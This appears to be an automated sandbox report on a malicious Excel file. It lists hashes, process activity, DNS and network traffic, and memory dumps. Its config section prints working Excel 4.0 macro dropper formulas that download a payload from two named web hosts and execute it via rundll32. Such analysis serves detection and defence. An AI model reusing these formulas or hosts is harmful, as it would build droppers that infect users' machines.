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Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    30/12/2023, 00:53 UTC

General

  • Target

    0927c120a5ebae66b98e7962edb57903.xls

  • Size

    36KB

  • MD5

    0927c120a5ebae66b98e7962edb57903

  • SHA1

    879cfc1d3a74ea615189899061823488b8cd1726

  • SHA256

    4b61d9c4fd6a10ac18c1f8d2eddf94b9b0d86276a770ccaddd4f05b577bd46d2

  • SHA512

    ba011c9d4599ba91e557f8f7ba09d3bdcc70c34ba3864c0f87ce9503359f86645a9be2189db1fd086a281a90cc22e46a092a16d1fa68b5dc294a14fbf80dcaaa

  • SSDEEP

    768:0PqNk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJYmBbArqccjAxC4mMrY:wok3hbdlylKsgqopeJBWhZFGkE+cL2Nu

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("urlmon", "URLDownloadToFileA", "JCCJJ", 0, "https://statedauto.com/wp-data.php", "C:\Users\Public\Documents\NCAXpo.txt", 0, 0)
2
=CALL("urlmon", "URLDownloadToFileA", "JCCJJ", 0, "https://markens.online/wp-data.php", "C:\Users\Public\Documents\NCAXpo.txt", 0, 0)
3
=CALL("Shell32", "ShellExecuteA", "JCCCJJ", 0, "open", "C:\Windows\system32\rundll32.exe", "C:\Users\Public\Documents\NCAXpo.txt,DllRegisterServer", 0, 5)
URLs
xlm40.dropper

https://statedauto.com/wp-data.php

xlm40.dropper

https://markens.online/wp-data.php

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0927c120a5ebae66b98e7962edb57903.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Public\Documents\NCAXpo.txt,DllRegisterServer
      2⤵
      • Process spawned unexpected child process
      PID:2624

Network

  • flag-us
    DNS
    statedauto.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    statedauto.com
    IN A
    Response
    statedauto.com
    IN CNAME
    urlforward.namebright.com
    urlforward.namebright.com
    IN CNAME
    cdl-lb-1356093980.us-east-1.elb.amazonaws.com
    cdl-lb-1356093980.us-east-1.elb.amazonaws.com
    IN A
    34.226.105.125
    cdl-lb-1356093980.us-east-1.elb.amazonaws.com
    IN A
    3.210.103.7
  • flag-us
    DNS
    statedauto.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    statedauto.com
    IN A
  • flag-us
    DNS
    markens.online
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    markens.online
    IN A
    Response
  • flag-us
    DNS
    markens.online
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    markens.online
    IN A
  • 34.226.105.125:443
    statedauto.com
    EXCEL.EXE
    152 B
    80 B
    3
    2
  • 3.210.103.7:443
    statedauto.com
    EXCEL.EXE
    152 B
    80 B
    3
    2
  • 8.8.8.8:53
    statedauto.com
    dns
    EXCEL.EXE
    120 B
    184 B
    2
    1

    DNS Request

    statedauto.com

    DNS Request

    statedauto.com

    DNS Response

    34.226.105.125
    3.210.103.7

  • 8.8.8.8:53
    markens.online
    dns
    EXCEL.EXE
    120 B
    125 B
    2
    1

    DNS Request

    markens.online

    DNS Request

    markens.online

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/748-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/748-1-0x000000007288D000-0x0000000072898000-memory.dmp

    Filesize

    44KB

  • memory/748-2-0x000000007288D000-0x0000000072898000-memory.dmp

    Filesize

    44KB

  • memory/748-3-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/748-4-0x000000007288D000-0x0000000072898000-memory.dmp

    Filesize

    44KB

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